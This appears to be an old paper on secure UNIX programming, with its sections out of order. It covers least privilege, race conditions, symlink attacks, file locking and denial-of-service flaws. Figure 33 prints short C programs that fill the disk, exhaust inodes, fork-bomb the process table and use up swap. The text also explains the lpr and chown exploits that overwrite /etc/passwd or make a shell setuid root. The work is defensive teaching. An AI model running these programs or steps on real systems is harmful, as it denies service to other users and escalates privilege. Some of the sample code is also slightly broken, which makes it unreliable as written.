The specific flaws described are not a comprehensive list. However this is the beginning of that larger list. There are also some techniques recommended that can help the programmer and the user to create a more robust product and detect when problems occur. Using these techniques will improve the security and the quality of any software, on UNIX platforms, Windows platforms or whatever else may come along in the future.

program runs in a vacuum and it is possible for a well written program to have security flaws when interacting with other programs and the system. Many people say the only secure computer is one which is unplugged and buried 50 feet deep in a secret location. That is also a worthless computer. If a user cannot get work done, the system, no matter how secure, is not going to be used. Computer security is a trade-off between the protection mechanisms and doing real work.

Confidentiality, integrity and availability should be evaluated with respect to the usage of the system. If the system is an academic computer used for email and homework, it is less important to maintain security as long as proper administration (such as regular backups) exists. If the computer is an access point for high dollar value research, security is more important and the users have to accept that some aspects of their work habits need to be modified according to the security policies.

When an organization understands its security posture and has appropriate security policies in place, recovery from security incidents is a by-the-book procedure. Quick recovery means the users can get back to work. Proper administrative and security policies means the source of attacks can be traced and fixed. However, more development efforts need to remove the flaws before they become exploits.

By employing these programming techniques to create secure programs, a programmer is easing the system's job of enforcing security. Programmers have a responsibility to the users of their software while they are actively maintaining the code. That responsibility is not a legal document, but users rely on programmers to create usable, robust, featureful and secure software. If programmers do not live up to these expectations, their software goes unused.

In the past, security has not been a priority when writing software. Now that software is being used for online commerce, as a replacement for signed legal documents, to communicate sensitive information long distances, and even in medical situations, security must become more important to software designers and programmers.

Sendmail started as an effort to get two local mail systems to talk to each other. Now it is one of the most used pieces of software in the world. It has also proven to be one of the most flawed from a security perspective. Because sendmail is large, complicated and has special authorization, it has had many security flaws which have resulted in security problems for many different systems. Several efforts to remove the security flaws or create a new, more secure replacement for sendmail have been undertaken. However, most of the problems could have been avoided if the programmer either knew or took into account potential security problems from the beginning of the development process.

After reading this report, I expect a programmer to be able to find and remove common security flaws from their code and avoid the growth pattern demonstrated by sendmail.

correct is difficult. The UNIX operating system does not do this for the programmer. In fact privileged programs have very minimal limitations, checks, and verifications that the actions taken generate correct results. It is up to the program to check the correctness of each action before and after. Simpler actions mean easier verification.

Many people consider secrecy to be a main point of computer security. However secure programming is better aided by the *principle of open design*. The security of a program should never rely upon concealing the program code or the actions of the program. If data secrecy is required, cryptographic techniques and passwords should be used. These techniques can be proven secure. Hiding the details of how a program works is not only almost impossible, but it also cannot be proven secure. As soon as one unauthorized person knows the details, the whole program is insecure. Security through obscurity may add some protection to the system, but more often it results in the feeling of security without any real assurances.

One form of the principle of separation of privilege has been mentioned, separating privileged operations into distinct programs. However, a programmer can also separate privileges by using *multiple conditions to grant privileges and permissions*. On some systems, using the `su` command to gain root privileges requires knowing the root password and being in the properly authorized user group. By using multiple conditions to verify a program or user's authority, the programmer widens the separation between privileged and unprivileged operations. This makes it more difficult for exploits to bridge the gap.

Another approach to separating privileged operations and unprivileged operations is the *principle of least common mechanism*. A programmer should restrict or minimize the sharing of resources among processes. There are some resources that have to be shared such as the hardware resources and the file system, but shared resources can be subverted. Minimizing the usage of shared resources such as files and memory limits the possibilities for flaws in resource access to affect the overall system.

The *principle of psychological acceptability* is ease of use. There has been a lot of advancement in interface design and computer systems in the name of "ease of use." When a new security feature is implemented, the programmer should try to integrate it into the interface of the program or system. If the new feature is cumbersome or difficult to use, then users will try to find ways around it, or not use the program at all. If the programmer can make the new feature or mechanism as convenient as not using it, users will be more willing to live within the restrictions of the security policy and implementation. More than anything else, user problems are a result of dissatisfaction with the way a program works. By taking that into account when designing secure software, a programmer minimizes one of the greater threats to their security implementation.

Of course, even the best designed and written program can still have security flaws. No

This research has been about specific programming techniques and code. However, secure programming includes secure program design. The following list of design principles should be part of designing a secure program. Whether the programmer intends to write a program that will be setuid root or they just intend to write a program which can robustly maintain data, these design principles should be evident in the final design of the program. These principles are from a computer security tutorial written by Matt Bishop at the University of California at Davis[5]. The original sources come from other materials in data communications and security as well as personal experience.

For privileged programs, the overriding design goal is the *principle of least privilege*. A process should never have more privileges than it needs to accomplish its goal. Limiting a program's privileges limits the resources it can affect if a flaw exists in the program code. A program should only have access to resources it needs and it should give up its privileges as soon as it no longer needs them. This principle is best exemplified by the used of `setruid()` and `setrgid()` to switch the effective user and group id of the process so that it would not have full privileges during all operations (see Figure 3).

A corollary to the principle of least privilege is that *privileged programs should be as small and as simple as possible*. If a large system needs to perform one or two operations with privilege and the rest without privilege, those one or two operations should be separated into distinct programs that have been granted specific privileges. When a program is complex, separate the sections that require privilege so that the whole program does not have access to those privileges. The larger and more complex a program is, the more likely that errors exist. Errors in privileged programs lead to security flaws.

By separating privileged operations from the main program, a programmer is also employing the *principle of fail-safe defaults*. Privileges should be explicitly granted to a program to do its work. The default should be to deny privileged access or operation. If any errors occur during the operation of a privileged process, it should immediately give up all privileges and stop running. This protects the rest of the system and data from crackers attempting to exploit privileged operations.

For any program, the *principle of economy of mechanism* applies. Another name for this design principle is the "Keep It Simple Stupid" (KISS) principle. The simpler a program or function is, the less likely errors will crop up in the code. It is also easier to diagnose improper behavior if a program has many small, simple functions rather than a few large blocks of spaghetti code. The server/client model is a high level implementation of this principle. Object-oriented programming could also be a very good implementation choice for programming small, neat packages of code.

The *principle of complete mediation* says that every operation and every result should be checked for correctness. Maintaining valid data and verifying that the results are

8. Conclusion

In February, 1998, two teenagers broke into 11 military computer systems and several university and federal research facilities[9]. The military sites were not identified, but a few of the compromised research facilities were Oak Ridge National Laboratory, Brookhaven National Laboratories, UC-Berkeley and the MIT fusion labs. These sites represent high dollar investments from the government and private sector. Those dollars could have been lost if the teenagers had wanted to cause damage rather than snoop around.

The specifics of how they broke in were not revealed, but it is easy to surmise that they employed a few "cookbook" techniques to gain access to the machines and then ran a few programs that take advantage of some of the security flaws discussed in this paper. (Other possibilities exist, but this is currently the most common problem.) After gaining access and privileges, the crackers installed information gathering programs on the systems.

The FBI caught these two, but it is estimated that "fifty-three percent of federal government systems reported unauthorized use of their systems last year, and this year, the number is more like sixty percent[10]." Unauthorized use is equivalent to successful penetration. Those federal computers were used by unauthorized persons exploiting security flaws in the software to steal time or information from the federal government, and that means lost tax dollars.

One of the goals of this research is to document some security flaws that may not exist anymore. It turns out though, that many of the security flaws being removed from the UNIX environment are coming back in new operating systems. Specifically researchers, crackers and system administrators are finding that Windows 95 and Windows NT have many of the same flaws as UNIX systems. Buffer overruns, flood attacks and out of band attacks are causing the same problems in Windows platforms as they do for UNIX hosts.

Windows NT is supposed to be a multi-user operating system. However it has its roots in single user operating systems (Windows and DOS). Security under single user operating systems is mainly a function of securing the physical terminal and any external media such as floppy disks. Servers, multi-user systems and network access require more security measures to allow users to work together on the same system and still trust the results of their processing.

Recently there have been more resources developed to help protect Windows operating systems. In some cases, the same organizations that have developed resources for UNIX platforms are creating Windows NT. One of the most popular UNIX bug reporting mailing lists, Bugtraq, has forked a Windows NT version of the mailing list as well.

of the possible uses of networking spoofing[26]. Their main point was that through network spoofing, crackers could alter files served via the network file system (NFS). The specific files the researchers focused on were binaries for Netscape and kerberos since they are used in internet commerce projects. If the binaries could be altered, the program could made to use predictable keys and the transactions would be insecure.

For now, protecting against network spoofing is a matter of good system administration practices. The system and network administrators should protect their networks as best they can against unauthorized access. Intercepting network communication requires being between the two communicating machines. Once the packets go beyond the local network, it is hard for local administrators to have an effect on trust and operations.

One possible area of improvement is the adoption of proven, secure cryptographic techniques to protect the data being transferred over the network. Programs that intend to send data back and forth across networks, such as banking applications or web sites that offer online purchasing, should use cryptographic techniques to encode and decode the data at the end points. The networks cannot be trusted because they are large and access is open. Therefore it is up to the programs at either end to protect the data in transit. (See the Works Consulted section at the end for books and websites about cryptography and implementing cryptographic systems in applications and systems programming.)

generally a simple linked list. A more efficient data structure, such as a hash table[15], should be used to manage the connections. A more efficient data structure allows the programmer to manage more connections to start with, and to find problem connections faster. Each phase of the handshake comes with a timeout value. If a phase of the handshake is not finished within the timeout value, the connection is dropped and the datum is removed from the queue.

Using a more robust and versatile data structure to manage the queued connections means the kernel can take less time to process the individual connections and eliminate the problems faster. It is also possible that a more robust connection queue would mean that a machine could handle more connections than a single attack could attempt to open. However, since network capacity is continuously growing, eventually a single attack could reach the upper limit of the connection queue.

The other main fix is from the network level. Flood attacks can be stopped at the source if the network service provider filters out "non-internal addresses from leaving their network[14]." This fix requires that organizations, such as ISPs and universities, which provide local and wide area network access be proactive in implementing filtering at their routers. If a packet from the local network reaches the router without a local address in the header, the packet is dropped instead of being forwarded to the wide area network. Most flood attacks put false source addresses into the packet so that the source of the attack cannot be traced. By filtering outgoing network traffic, the organization can block or identify attempts to initiate flood attacks from their own network.

Neither fix, individually, is enough to stop a cracker from causing problems with network connections to a machine. However, they do provide better security from network attacks than not doing anything at all. Also, the first fix is an example of how the easiest code is not always the best code. By spending a little more time to implement a more robust data structure, the programmer could have made an exploit more difficult.

7.4 Spoofing

The same type of attack can take place at the service (or program) level. A cracker can affect the performance of a system by increasing the workload through a flood of requests to the login program, the file services or to handle bogus email. By flooding the programs with more requests than they can handle at one time, the cracker is trying to increase the time required to respond to legitimate service requests. The hope is that the cracker will be able to substitute invalid responses to legitimate requests.

Network spoofing refers to the practice of pretending to be a machine and handling the requests to that machine. This requires that the attacking system be between the two systems trying to communicate. First the target machine is either knocked off the network or blocked from responding, then the attacking machine begins responding to requests meant for the target machine. In 1995 a group of researchers discussed some

respect the limits described in the protocol definitions failed. No bounds checking was included because programmers did not expect that anyone would build a system which did not limit the original packet size.

As soon as the problem was discovered, vendors began releasing fixes that included bounds checking. More network administrators started filtering certain packet types, including ping packets at the boundaries of their networks. More people became aware of the implications of being connected to a larger, uncontrolled network. But there are still systems which can be affected by this problem because the patches have not been applied or earlier versions of the operating system are still in use.

Network programs have strict guidelines that dictate how they initiate network communication and how they respond to other machines on the network. These guidelines are determined by the protocol that the machine uses. The protocol is determined by the type of network the machine is connected to.

7.3 System Overloads

From a network viewpoint, each program is a service. If the program or some system entity does not maintain control over the services offered by the system, a cracker can overload the service with too many requests. Service overloading[13] can be the result of regular network traffic or an attempt to exploit a lack of program control. If a service tries to respond to every incoming request, the service can get caught in a loop preparing to respond to the new requests.

Starting at the end of 1996, various ways of overloading network services have resulted in crashed UNIX machines and crashed Windows machines. One of the original attacks against an ISP on the East Coast resulted in media coverage ranging from the "computer underground" up to the Wall Street Journal. This basic attack does not exploit a particular code flaw, rather it exploits a logic flaw in the TCP/IP protocol implementation on most UNIX machines.

The "SYN flood attack" exploits the implementation of the handshake phases of establishing TCP/IP connections to a machine. "When you establish a connection with TCP, you do a 3-way handshake. The connecting host sends a SYN packet to the receiving host. The receiving host sends a SYN|ACK packet back and to fully establish a connection, the connecting host finally responds with an ACK packet[14]." A flood attack sends as many of the original SYN packets to a target machine as possible and then ignores the returned SYN|ACK packet. On the target machine, the buffer queue fills up waiting for ACK packets to finish the handshake. When that queue fills up, legitimate requests will not get a response. The machine is still running, but to the rest of the network the machine does not exist.

There are two main fixes to stop or limit this type of attack. The first fix is from the programmer and local system level. The queue that manages "infant connections" is

system.

7.2 Network

DOS attacks from the network have one of two purposes. The first is to shut down the system. These attacks are targeted to annoy the system administrator(s) and users. The second purpose is take the target system's place on the network. By disabling the target system or at least stopping it from responding to network requests, a cracker can setup their own system to pretend to be the target and intercept network information going to the target. This type of exploit is difficult to achieve and is more of a concern to people and businesses providing network services to other people and businesses.

Most network attacks are manipulations of the underlying network protocols. Crackers manipulate the information sent to target systems or send information out of order. If the network software is poorly written, crackers can affect the entire system by denying access to the network or to the system from the network. An example of a flaw in the network software that led to a major DOS exploit was the "Ping O'Death," so named for the usage of the `ping` network utility to cause system crashes. An entire web page[25] is devoted to an explanation and tracking of the systems affected by this flaw. In the network software responsible for rebuilding network packets, a buffer overrun condition existed that allowed oversize IP datagram packets to overwrite part of kernel memory space. Paul Gortmaker wrote the following explanation of the problem for the web page[25]:

> "IP packets as per RFC-791 can be up to 65,535 (2^16-1) octets long, which includes the header length (typically 20 octets if no IP options are specified). Packets that are bigger than the maximum size the underlying layer can handle (the MTU) are fragmented into smaller packets, which are then reassembled by the receiver. For ethernet style devices, the MTU is typically 1500.
>
> An ICMP ECHO request "lives" inside the IP packet, consisting of eight octets of ICMP header information (RFC-792) followed by the number of data octets in the "ping" request. Hence the maximum allowable size of the data area is 65535 - 20 - 8 = 65507 octets."

If a `ping` command specifying packets with length 65510 or greater is issued, the receiving system will try to rebuild the entire packet in one buffer. If no bounds checking is performed, the packet data will spill over onto other data. Because the network software usually works in kernel space, it is possible for the packet to overwrite data necessary for the kernel to keep running. Once the kernel process crashes, the system is down.

The same fix applied to buffer overruns described in section five can be used to fix this problem. Over twenty major operating system and at least twenty different network devices (routers, network printers and terminal servers) also suffered from the same problem at a firmware level. The underlying assumption that all network software would

```
    else  if (pid == 0)
      execl("/bin/find", "/", "-exec", "/bin/grep",
            "bob", "{}", "\;", ">/dev/null", "2>&1",
            (char *) 0);
  }
}
```

Figure 33. Simple DOS attacks from within a system.

Protecting the system from any of the attacks demonstrated in Figure 33 requires a combination of good programming and secure system administration. Programmers are responsible for the behavior of their programs. If a privileged program can be tricked into executing the equivalent of the above code, the system is rendered unavailable to regular users. The system administrator is responsible for the behavior of the system. Between the two, it is possible to minimize the effects that a user or program can have on other users. This also minimizes the effect that DOS attempts have on the availability of the system or a system resource.

The `setrlimit()` function introduced earlier should be used by programmers to limit a running process's access to system resources. Understanding what the program's requirements are and limiting it to those requirements provides a more secure environment for the system. `setrlimit()` can limit the time that a process runs, the number of files it can have open, the amount of data it can write into a file, and the amount of heap, stack or virtual memory the process can be allocated. Modern UNIX systems generally have system-wide or per-user limits on these resources. If the process is running with root privileges, these limits are not applicable. It is up to the programmer to build in limits.

On systems which are POSIX compliant, some of the variables can be set to defined constants. Root privileged programs are not necessarily limited by the POSIX limits, except if they are explicitly applied using `setrlimit()`. Determining the exact limits to apply is not easy. By applying limits, it is possible to limit the functionality of the program. However, in the case of privileged processes, the functionality should be limited to as few tasks as possible anyway.

A system administrator has the ability to configure system-wide settings in the kernel. They can also build (or rebuild) the system in such a way that the effects a process can have on the overall system is limited. For example, most modern UNIX systems allow the system administrator to configure a per-user process limit. This limit caps the maximum number of processes that each user on the system (except root) can have at any one time. System administrators can also enable filesystem quotas to limit the number of files, number of inodes and the amount of disk space usable by users. It is also possible for the system administrator to partition the system to divide users from most of the space needed by the operating system. None of these options really affect root processes, but they will stop less privileged processes from bringing down the

7.1 Local System

The simplest DOS attacks are possible if the cracker has an account on the system. Once logged in, a cracker can fill up the filesystem, use up the available inodes, fill up swap space or overload the CPU with too many processes requesting time. These are simple attacks which can be the result of a cracker attacking the system, or a poorly written program. Figure 33 shows a series of short programs which demonstrate how to accomplish these attacks.

```
/* Fill up the filesystem[13] */
int main() {
  int ifd;
  char buf[8192];
  ifd = open("./attack", O_WRITE|O_CREAT, 0777);
  /* hide the file from sys admin by unlinking it */
  unlink("./attack");
  while (1) write(ifd, buf, sizeof(buf));
}

/* Use up the available inodes */
int main() {
  char *file;
  int ifd, i;
  for(i=3; ;i++) {
    sprintf(file, "%d", i);
    ifd = creat(file, FILE_MODE);
    close(file);
  }
}

/* Use up available inodes, fill up the filesystem, or at */
/* least create a directory structure that cannot be */
/* removed easily */
int main() {
  while(1) {
    mkdir("./attack", DIR_MODE);
    chdir("./attack");
  }
}

/* Fill up the process table[13] */
int main() {
  while(1) fork();
}

/* Use up available swap space */
int main() {
  while(1) malloc(65536);
}

/* Use up CPU time by generating find processes */
int main() {
  while(1) {
    if (0 > (pid = fork()))
      /* probably out of processes */
      exit 0;
```

7. Availability Flaws

Availability is a major concern for system administrators. Having a system down is a high profile event. Users become very agitated when they cannot access their data (or even check their mail). Businesses and research sites purchase systems which are stable and robust. A system down is lost money and lower productivity.

Availability flaws mean that a system is prone to a variety of "denial of service" (DOS) attacks. "A denial of service attack is an attack in which one user takes up so much of a shared resource that none of the resource is left for other users[13]." These attacks can originate from within the system or from some unknown corner of the network. As more administrators are becoming security conscious, it is becoming harder to break into high profile systems. However, it is possible for a cracker to crash a system without ever trying to access.

A variety of DOS attacks are based on the network protocols. The "teardrop attack," "smurf attack," "spoofing" and "spamming" take advantage of the operations that a networked system performs in order to correctly initiate or respond to network connections. Solutions to these types of attacks can go well beyond programming into network design and layout, protocol development, private/public key encryption and even hardware design. This research is limited to the programming aspect and how the attack occurs, but the resources in the Works Consulted section provide pointers to information on how to protect a whole network, where to find the protocol definitions and where to get good cryptography software that can be used to protect a network of computers.

Availability flaws are divided into two categories, those which allow attacks from within the system and those which allow attacks from outside the system. Attacks within the system can target the entire system (bring it down) or target individual users (lock them out or separate them from their data). Attacks from outside the system target the entire system and try to either bring it down, or stop network access to it. From a user viewpoint, a successful attack means the system is unavailable and so is their data. Many of the security flaws which result in lost availability are logic errors with unintended effects on the system. These logic errors can also be programmed as intentional security exploits, which is why they are discussed.

Most of the integrity flaws which cause data to be lost can also be thought of as availability flaws. After all, once the data is gone, it cannot be accessed. However it is also possible to lock the user away from personal data by changing permissions or ownership. Confidentiality flaws can also be exploited to affect availability. Having root access means the cracker can shut the system down or lock the user out of the system. However there are specific exploits of both kinds of flaws that only have the effect of causing unavailability.

```
#include <sys/types.h>
#include <signal.h>
...
while (0 > open(LOCKFILE, O_RDWR|O_CREAT|O_EXCL, 0)) {
  /* locked out, check that PID in LOCKFILE still exists */
  if (0 > (lockfd = open(LOCKFILE, O_RDONLY))) {
    perror("Cannot open lockfile");
    return(-1);
  }
  if (0 > read(lockf, pid_string, 6)) {
    perror("Cannot read from lockfile");
    close(lockfd);
    return(-2);
  }
  pid = atoi(pid_string)
  if (0 > kill((pid_t)pid, 0)) {
    /* lockfile is not valid, move on somehow */
    perror("%lockfile is an invalid lock!\n");
    close(lockfd);
    return(-3);
  }
  else {
    /* lockfile is valid, wait to try again */
    close(lockfd);
    sleep 1;
  }
}
/* lock acquired */
```

Figure 32. File locking with PID logging.

There are other possible ways of creating and managing file locking. However they are not as portable or as secure as the above two methods. Using semaphores for file locking is described in Stevens' "Unix Network Programming[18]" and record or range locking is available via the `flock()` system call. These techniques are more sophisticated (and complicated) and are not generally recommended for privileged processes. After all, the more complicated the code, the more likely a flaw exists. Keeping file locking as simple as possible is more secure and more likely to work.

`LOCKFILE` already exists, as a regular file or a link. `link()` has the properties of not following symbolic links and will not work across filesystems. The first property guarantees that it will do correct file locking. However the second property can be limiting, especially if directories like `/tmp` are on separate file systems than the rest of the system. The lockfile is a temporary file and it should be possible for multiple processes with possibly different userids, groupids and permissions to be able to cooperatively use the shared file. Therefore it is likely that the lockfile will need to be created in a group (or even world) writable directory.

The final method combines the best features of the first two. Using the `O_EXCL` flag in the `open()` call will indicate the lockfile exists if a symbolic link with the same name as the lockfile already exists. Using the `open()` call itself means that the lockfile can be created anywhere on the system where the process has write privileges. This method is available on newer (after Version 7) UNIX systems only. The O_EXCL flag is an addition to the `open()` system call because programmers wanted a way to guarantee that existing files would not be opened and truncated accidentally and a way to avoid possible race conditions between checking for a file's existence and creating the file. "The POSIX standard [IEEE 1988] specifically states that the test for the existence of the file and the creation of the file if it doesn't exists, must be atomic with regard to other processes trying to do the same thing.[18]"

The easiest way to detect that file locking has gone astray is for the processes to log the creation and removal of the lockfile using a time stamp. The logfile can be reviewed either by a system administrator or automatically to ensure that cooperating processes are not having problems accessing the target file. This does not detect when a non-cooperating process is trying to interfere with the creation of the lockfile The best way to protect against that type of outside interference is to continue employing status checking and correct system call usage on the shared file. The same techniques outlined to avoid symlink exploits and race conditions should be employed to access the target file even after a lock has been acquired. Owning the lockfile does not guarantee that the shared file can be trusted.

A weakness of all three methods is detecting when a process unexpectedly terminates after creating a lockfile. Well-written programs should never forget to remove a lockfile once they are finished using the shared resource, but if the process dies because of a signal or error, there must be some way for other processes to find out that the lockfile is invalid.

A simple solution is to store the process ID (PID) of the process which creates the lockfile in the lockfile itself. Figure 32 demonstrates how to do this using file locking method three. If the PID is available for other processes to read, a check can be performed to ensure that the process owning the lockfile still exists and is running. Otherwise the cooperating processes can try to do error recovery (not recommended for privileged processes) or return their own errors.

correctness. The only thing that processes need to do file locking is a "common lock name." The existence of a file with a name known by all processes indicates that the lock exists and that the target file should not be accessed. One of the primary concerns in creating the lockfile is to avoid the race conditions described above. If race conditions exist in the chosen method of locking the target file, it is possible for two processes to incorrectly handle the lockfile and attempt to access the shared file at the same time. The results will be indeterminate because it is not possible to know the order that the processes operate on the target file.

Figure 31 shows three examples of creating a lockfile. In these examples, the lockfile is created using a system call which is supposed to check if the file exists and generate an error if it does. However there is a subtle difference in the system call used in the first two examples which makes them unsuitable as a secure file locking mechanism.

```
Lock creation method 1:
while (0 > (fd = creat(LOCKFILE, 0)) {
  /* locked out */
  sleep 1;
}
/* lock acquired */
...

Lock creation method 2:
while (0 > link(tempfile, LOCKFILE)) {
  /* locked out */
  sleep 1;
}
/* lock acquired */
...

Lock creation method 3:
while (0 > open(LOCKFILE, O_RDWR|O_CREAT|O_EXCL, 0)) {
  /* locked out */
  sleep 1
}
/* lock acquired */
```

Figure 31. Three ways to do file locking[18].

In method one, the lockfile is created using the `creat()` system call. `creat(LOCKFILE, 0)` is functionally equivalent to `open(LOCKFILE, O_WRONLY|O_CREAT|O_TRUNC, 0)`. If the file `LOCKFILE` does not exist, it will be created, write-only, with permissions 000. However, this `open()` call will follow symbolic links and operate on the target of the link rather than the link file itself. So, if the true `LOCKFILE` can be replaced with a symbolic link to a file in a directory that a cracker controls, the cracker can control access to the target file by deleting and creating the target of the lockfile.

Method two uses the `link()` system call which is guaranteed not to create a new file if

```
char *nam = strdup("/tmp/ps.XXXXXXXXXX");
...
if (nam == NULL) exit(-1);
if ((fd = mkstemp(nam)) == -1) {
  close(fd);
  free(nam);
  exit(-1);
}
if ((fp = fdopen(fd, "w+")) != NULL) {
  free(nam);
}
```

Figure 30b. Race to chown() a temporary file.

Finding these race conditions is generally done by reviewing source code. Without source code, it is difficult to determine what file operations are performed and in what order. When reviewing source code, one can look for `open()`, `chown()`, `creat()`, `chmod()`, `chgrp()` and `mktemp()` function calls. These functions use strings as file names instead of file descriptors so they are more likely to create race conditions. The `stat()` family of function calls can also be involved in race conditions. Once these functions are found, the immediate code around them should be reviewed for race conditions and to ensure that temporary file names are used correctly.

Without source code, a system administrator would be hard pressed to find race conditions. Close review of the system and system audit trails can determine the order that file operations occur. However the specific functions being used would not necessarily be recorded in the audit trails or visible in the changes applied to a file. Staying current with the security reports distributed by vendors and listservs are helpful for finding out what race conditions exist.

6.5 Resource Sharing

In security conscious systems, it is still important that processes be able to share resources. Files are one of those resources and much of the system software relies on being able to access common files sequentially. On a time-shared system like UNIX, guaranteeing proper access is difficult at best and can lead to integrity flaws including incorrect operation and data overwrites.

File locking is used to control access to shared files by blocking access to the shared file temporarily while the process uses it. The lock is abandoned as soon as possible so that other processes have an opportunity to access the shared file too. It is important to recognize that only programs which attempt to use the same file locking method will be secure. Even if file locking is implemented correctly among one set of processes, a separate process which ignores the lock can still interfere with the proper operation of system process like `lp`, privileged processes like password setting programs, or user programs if they have access to the files.

Among cooperating processes, file locking needs to be done carefully to ensure

A classic example of a race condition is to use the `find` command and execute the `rm` command on any of the "found" files. There is no way to guarantee that by the time `rm` runs on a found file it will not have changed to be a link to another file. This combination of the symlink and race condition attack can show up within programs as well.

A cracker can combine the symlink attack and race conditions to change the owner of already existing files to root. If the already existing file is a shell binary with the setuid bit turned on, the cracker is fooling a privileged program into making the shell setuid root. The hole exists if the cracker can replace a file which the privileged program creates and then changes the owner to root using the `chown()` call. Figure 30a shows a sequence of commands based on a reported vulnerability in the `ps` program[7].

```
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
...
char *file;
...
file = mktemp("/tmp/ps.XXXXXX");
open(file,O_CREAT|O_EXCL);
chown(file, 0, 0);
rename(file, "/tmp/ps_data");
```

Figure 30a. Race to chown() a temporary file.

The source in Figure 30a is only based on a description of the flaw, however it demonstrates the problem. Even though the file cannot exist before the `open()` call (because of the flags used), if the file can be replaced between the `open()` and `chown()` calls with a symbolic link to the cracker's setuid shell, the shell will be 'chowned' to root. Accomplishing this exploit requires loading the system down with other processes to separate the two system calls enough to replace the temporary file.

In this case, applying the same operations demonstrated in Figure 28b and only using file descriptors as arguments eliminates the race. Opening the file with `mkstemp()` and `fdopen()`, then changing the ownership with `fchown()` guarantees that the temporary file cannot be changed between operations. Figure 30b shows the modified operations.

```
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
...
FILE *fp = NULL;
int fd = -1;
```

O_EXCL and O_CREAT, open() will fail if the file already exists (another way to protect against the symlink attack). If the programmer uses O_EXCL, and the last component of the pathname is a symbolic link, the open() will fail. However symbolic links in earlier segments of the pathname are not detected.

Very security conscious programmers can take advantage of the UNIX requirement that all file descriptors be closed before filesystem space is cleaned up and use the unlink() call to hide their temporary files. Figure 29 shows how to open a file and then hide it. However programmers should be aware that this can introduce a race condition into their program code.

```
fd = open("/tmp/file", O_RDWR|O_EXCL|O_CREAT);
unlink("/tmp/file");  /* race condition: no funlink call */
lseek(fd, 0, 0);
... write a bunch of stuff ...
lseek(fd, 0, 0);
... read it back ...
close(fd);  /* file blocks freed by kernel */
```

Figure 29. Hiding temporary files[16]

Race conditions do not always exist within a single program. When programming cooperating processes, it is important to guard against the same problem. The lpr printing system used to have a race condition in the queuing system[5] that could be exploited to overwrite other files on the system because lpr was a setuid root program.

The steps to take advantage of lpr were 1) create a file, call it x, which is a copy of the password file without a root password string, 2) start printing a very large file using the symbolic link option to lpr (lpr -s), 3) print the actual password file, /etc/passwd, using a symbolic link (lpr -s /etc/passwd), 4) print 999 more files before the large file is finished printing, 5) print the fake password file, x. Lpr used to name its queued files with a three digit number. Once lpr reached 999, it would cycle back to 001 on the assumption that only 999 files would ever be queued at one time.

When lpr queued the fake password file, it overwrote a spool file with the same name. The file was a symbolic linked to /etc/passwd, then the system password file was overwritten with the fake one. Two bad assumptions were made in this setup and no file checking was done by the program to make sure that the correct file was in the queue.

The first bad assumption was that a maximum of 999 files were in the queue at one time. The file names were reused and no checks made to see if the file already existed. The second bad assumption was that lpr would not write files outside of the print spool directories. However the spool directories were world writable and links could be made by anybody to files outside the spool directory. The fix was to isolate lpr to a single group, like daemon, and stop reusing file names that were in use.

to userid "1234." If, between the `chmod()` and `chown()` call, the cracker can replace the temporary file with a symbolic link to a file like `/etc/passwd`, the program will change the ownership of the link's target instead of the temporary file.

```
fprintf("/tmp/file", "blah blah blah\n");
chmod("/tmp/file", 0600);
chown("/tmp/file", 1234);
...
-----------------------------------------------------
Figure 28a.  Example of a race condition.
```

If the cracker has access to the account with userid 1234, they own the target file. This is a moderately difficult flaw to exploit since it requires manipulating the scheduling of operations performed by running processes. However, the more processes requesting CPU time, the larger the window of opportunity that the cracker has to exploit the flaw. It is a race between the cracker and the target program to see which will be able to modify the file first, thus the name race condition.

Avoiding race conditions is not easy since UNIX is a time shared system. Not every operation takes place atomically and no series of operations can be guaranteed to take place in the same time slice. Figure 28b shows some simple modifications that can be made to the code in Figure 28a to make it more secure and protect against the race condition.

```
#include <sys/file.h>
#include <sys/stat.h>
#include <fcntl.h>
...
FILE file;
...
file = open("/tmp/file", O_RDWR|O_EXCL|O_CREAT);
if (fd > -1) {
  if (fchmod(fd, 0600) || fchown(fd, 1234)) {
    perror("Could not set ownership and mode");
    exit(1);
  }
}
-----------------------------------------------------
Figure 28b.  Removing the race condition[16].
```

In Figure 28b the race condition is removed by using a file descriptor instead of a file name, and then following the `open()` call with "fsomething"[16] calls. Using a file descriptor guarantees the file will not change between operations. Even if a cracker deletes the temporary file, having the file descriptor ensures the process will use the same file system space originally allocated because a file descriptor is associated with a specific inode. When the processes closes the file descriptor the kernel frees the allocated file system space.

Another trick that this code employs is the `O_EXCL` flag in the `open()` call. If called with

administrator can find most of the files generated with predictable names. The usage of a process pid is common, so a file name followed by a number would indicate a possible security flaw.

At this point, there is not a common way to fix symlink flaws without modifying the program's source code. The `/tmp` filesystem is meant to be accessible by all users on the system. There is a lot of discussion in security forums about how to force user separation in `/tmp`. However the original usage of `/tmp` as a full access area defeats attempts to separate users from each other. Many people are proposing a modification of the UNIX filesystem layout to split up `/tmp` into individual temporary areas where each user has a directory and cannot access other users' directories without permission. However there are many programs, including some kernel modules and system daemons, which write directly to `/tmp`. These programs would also have to be modified to use the same layout. Because there is no single controlling entity for UNIX, like Microsoft controls Windows NT, it is not possible that every program will be programmed to use individual temporary directories correctly. If one program makes use of a general world-writable directory, the security gained by the modification is defeated. This is an ongoing discussion with no clear solution yet.

A variation of the symlink attack will destroy files instead of capturing the information. In this variation, the cracker uses an existing file on the system as the target of the link. When opened by a privileged process, the file would be truncated to length zero as part of the `open()` call. If the process is running as root, a cracker can target the `/etc/passwd` file, thereby deleting all logins.

Depending on the UNIX variant, this can have one of two effects. Under linux, not having a root user (and no other logins) effectively locks out any login attempts. The system administrator would need to boot from another system with the affected root drive as a secondary drive, mount the affected filesystem and replace the `/etc/passwd` file. Older versions of UNIX would allow anyone to login if no `/etc/passwd` file existed[16]. Once logged in, that user had the same privileges as root.

6.4 Race Conditions

Another common set of file operation exploits are "race conditions" in the program code. A race condition is created by the ordering of certain operations applied to a file. Once the cracker knows the order of operations, they can try to break up the operations into different time slices. By generating lots of miscellaneous processes while executing the program under attack, the cracker creates an opportunity to modify the file being manipulated by the program.

One common "mistake" is to create a file and then change the ownership and or permissions as root[16]. Figure 28a shows the flawed program code. In this case, root writes to a temporary file, the permissions are changed and then the owner is changed

to `lstat()`, the program should generate an error if the file is a symbolic link. Another option is shown in Figure 27 which uses `mkstemp()` to create a file with a unique, system generated name. By using the `mkstemp()` call, the process either gets a file with a unique name that does not exist on the filesystem or it gets an error to indicate the file could not be created.

```
#include <sys/file.h>
#include <sys/stat.h>
